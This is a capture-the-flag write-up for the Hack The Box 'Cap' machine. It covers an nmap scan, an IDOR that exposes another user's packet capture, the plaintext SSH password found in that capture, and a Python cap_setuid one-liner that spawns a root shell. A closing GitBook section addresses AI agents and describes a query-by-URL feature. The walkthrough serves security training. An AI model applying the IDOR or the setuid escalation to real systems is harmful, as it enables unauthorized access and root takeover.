> For the complete documentation index, see [llms.txt](https://0xa1mn.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xa1mn.gitbook.io/writeups/hack-the-box-htb/linux/untitled.md).

# CAP

## Scanning

NMAP

```
➜  ~ nmap -T4 cap.htb
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-15 12:43 EDT
Nmap scan report for cap.htb (10.10.10.245)
Host is up (0.29s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 23.85 seconds
```

## Enumeration

port **80**

![](/files/-MjjVHZyqAzhcBQtkQdJ)

dashboard of Network monitoring system

dig into the app to find more stuff ...

![](/files/-MjjVFZnxZI2CNl7Jq73)

![](/files/-MjjVDj4kiWA_reeyjGy)

download cap file to analyze it using **wireshark** ...

after download i can't find anything interesting

so lets try to find anther CAP file but How !!

IDOR is the Ket in this case ...

change URL to `http://cap.htb/data/0`

![](/files/-MjjV9puMOr00CMOj_fI)

Download CAP ...

time to have some fun

```bash
➜  Downloads wireshark 0.pcap
```

![](/files/-MjjV4wcdv_t8DP9xOJv)

following streams find this credentials

![](/files/-MjjUzXVImlvPZxvemIO)

Credentials `nathan:Buck3tH4TF0RM3!`

login as nathan using SSH

* [x] USER SHELL ACCESS

## Privilege Escalation

taking capabilities path ...

first list theme

```
nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
```

`/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip` "cap\_setuid"

we can set user ID using python

`./python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'`

you can find this at GTFObin

![](/files/-MjjUv4ndb93ehd4KxBZ)

* [x] ROOT SHELL ACCESS


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://0xa1mn.gitbook.io/writeups/hack-the-box-htb/linux/untitled.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
